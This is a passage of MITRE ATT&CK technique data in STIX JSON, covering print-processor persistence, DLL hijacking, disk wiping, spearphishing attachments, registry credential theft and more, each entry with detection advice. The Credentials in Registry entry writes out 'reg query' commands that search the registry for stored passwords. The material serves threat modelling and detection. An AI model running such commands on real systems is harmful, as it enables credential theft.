            "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Mathieu Tartare, ESET",
                "Tahseen Bin Taj"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver</code> or <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver</code> as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "Driver: Driver Load",
                "Module: Module Load",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
            "created": "2017-05-31T21:31:07.958Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1089",
                    "external_id": "T1089"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/578.html",
                    "external_id": "CAPEC-578"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:19.601Z",
            "name": "Disabling Security Tools",
            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e",
            "created": "2019-03-19T19:38:27.097Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1487",
                    "external_id": "T1487"
                },
                {
                    "source_name": "Symantec Shamoon 2012",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
                },
                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                },
                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
                },
                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:19.765Z",
            "name": "Disk Structure Wipe",
            "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_impact_type": [
                "Availability"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "created": "2020-03-02T19:05:18.137Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1566/001",
                    "external_id": "T1566.001"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:10:26.686Z",
            "name": "Spearphishing Attachment",
            "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Philip Winther"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow",
                "Application Log: Application Log Content",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1214",
                    "external_id": "T1214"
                },
                {
                    "source_name": "Pentestlab Stored Credentials",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                    "url": "https://pentestlab.blog/2017/04/19/stored-credentials/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:20.034Z",
            "name": "Credentials in Registry",
            "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Sudhanshu Chauhan, @Sudhanshu_C"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97",
            "created": "2022-09-29T18:30:12.244Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/008",
                    "external_id": "T1027.008"
                },
                {
                    "source_name": "intezer stripped binaries elf files 2018",
                    "description": "Ignacio Sanmillan. (2018, February 7). Executable and Linkable Format 101. Part 2: Symbols. Retrieved September 29, 2022.",
                    "url": "https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/"
                },
                {
                    "source_name": "SentinelLabs reversing run-only applescripts 2021",
                    "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.",
                    "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
                },
                {
                    "source_name": "Mandiant golang stripped binaries explanation",
                    "description": "STEPHEN ECKELS. (2022, February 28). Ready, Set, Go \u2014 Golang Internals and Symbol Recovery. Retrieved September 29, 2022.",
                    "url": "https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:18.337Z",
            "name": "Stripped Payloads",
            "description": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Linux",
                "Windows",
                "Network Devices"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
            "created": "2020-02-12T14:09:53.107Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559/001",
                    "external_id": "T1559.001"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "ProjectZero File Write EoP Apr 2018",
                    "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
                    "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html"
                },
                {
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:14.161Z",
            "name": "Component Object Model",
            "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Script: Script Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "created": "2020-03-13T18:11:08.357Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/001",
                    "external_id": "T1574.001"
                },
                {
                    "source_name": "Hijack DLLs CrowdStrike",
                    "description": " falcon.overwatch.team. (2022, December 30). 4 Ways Adversaries Hijack DLLs \u2014 and How CrowdStrike Falcon OverWatch Fights Back. Retrieved January 30, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/"
                },
                {
                    "source_name": "kroll bpl",
                    "description": "Dave Truman. (2024, June 24). Novel Technique Combination Used In IDATLOADER Distribution. Retrieved January 30, 2025.",
                    "url": "https://www.kroll.com/en/insights/publications/cyber/idatloader-distribution"
                },
                {
                    "source_name": "Hexacorn DLL Hijacking",
                    "description": "Hexacorn. (2013, December 8). Beyond good ol\u2019 Run key, Part 5. Retrieved August 14, 2024.",
                    "url": "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/"
                },
                {
                    "source_name": "microsoft remote preloading",
                    "description": "Microsoft. (2014, May 13). Microsoft Security Advisory 2269637: Insecure Library Loading Could Allow Remote Code Execution. Retrieved January 30, 2025.",
                    "url": "https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637"
                },
                {
                    "source_name": "Microsoft - manifests/assembly",
                    "description": "Microsoft. (2021, January 7). Manifests. Retrieved January 30, 2025.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/sbscs/manifests?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Microsoft redirection",
                    "description": "Microsoft. (2023, October 12). Dynamic-link library redirection. Retrieved January 30, 2025.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN"
                },
                {
                    "source_name": "dll pre load owasp",
                    "description": "OWASP. (n.d.). Binary Planting. Retrieved January 30, 2025.",
                    "url": "https://owasp.org/www-community/attacks/Binary_planting"
                },
                {
                    "source_name": "unit 42",
                    "description": "Tom Fakterman, Chen Erlich, & Assaf Dahan. (2024, February 22). Intruders in the Library: Exploring DLL Hijacking. Retrieved January 30, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/"
                },
                {
                    "source_name": "Wietze Beukema DLL Hijacking",
                    "description": "Wietze Beukema. (2020, June 22). Hijacking DLLs in Windows. Retrieved April 8, 2025.",
                    "url": "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows"
                }
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            ],
            "modified": "2025-04-16T18:24:47.533Z",
            "name": "DLL",
            "description": "Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)\n\nSpecific ways DLLs are abused by adversaries include:\n\n### DLL Sideloading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\n\n### DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\n\n### DLL Redirection\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)\n\n### Phantom DLL Hijacking\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)\n\n### DLL Substitution\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)\n\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\n\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)\n\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak",
                "Marina Liang",
                "Ami Holeston, CrowdStrike",
                "Will Alexander, CrowdStrike",
                "Wietze Beukema @Wietze"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Process: Process Creation",
                "Module: Module Load",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "created": "2017-05-31T21:31:27.985Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1119",
                    "external_id": "T1119"
                },
                {
                    "source_name": "Mandiant UNC3944 SMS Phishing 2023",
                    "description": "Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:18.743Z",
            "name": "Automated Collection",
            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian",
                "Arun Seelagan, CISA"
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            "x_mitre_deprecated": false,
